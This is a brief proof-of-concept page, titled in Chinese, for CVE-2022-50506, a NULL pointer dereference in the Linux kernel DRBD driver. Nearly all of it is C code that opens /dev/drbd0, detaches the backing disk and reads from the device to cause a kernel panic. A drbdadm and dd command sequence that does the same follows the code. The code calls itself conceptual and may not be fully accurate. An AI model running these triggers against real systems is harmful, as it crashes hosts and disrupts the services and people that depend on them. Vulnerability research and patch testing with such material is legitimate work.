CVE-2022-50506 Linux内核DRBD驱动空指针解引用漏洞

// PoC for CVE-2022-50506: Trigger NULL pointer dereference in DRBD driver // This PoC demonstrates how to trigger the vulnerability by accessing // a diskless DRBD device. #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/drbd.h> // Note: This vulnerability requires kernel-level access to DRBD devices. // The following demonstrates the conceptual trigger path. int main() { int fd; struct drbd_device *device; // Step 1: Open a DRBD device (e.g., /dev/drbd0) fd = open("/dev/drbd0", O_RDWR); if (fd < 0) { perror("Failed to open DRBD device"); return -1; } // Step 2: Ensure the device is in diskless state (no backing device) // This can be done via: // drbdsetup primary <resource> --diskless // or by detaching the backing device: // drbdadm detach <resource> // Step 3: Attempt I/O operation on the diskless DRBD device // This will trigger drbd_req_new -> access ldev->backing_bdev // -> NULL pointer dereference -> kernel panic char buf[4096]; ssize_t ret = read(fd, buf, sizeof(buf)); if (ret < 0) { perror("I/O operation failed (likely triggered the bug)"); } close(fd); return 0; } // Alternative: Use drbdsetup/drbdadm commands to trigger: // 1. drbdadm up <resource> // 2. drbdadm primary <resource> // 3. drbdadm detach <resource> # Make device diskless // 4. dd if=/dev/drbd0 of=/dev/null bs=4096 count=1 # Trigger NULL deref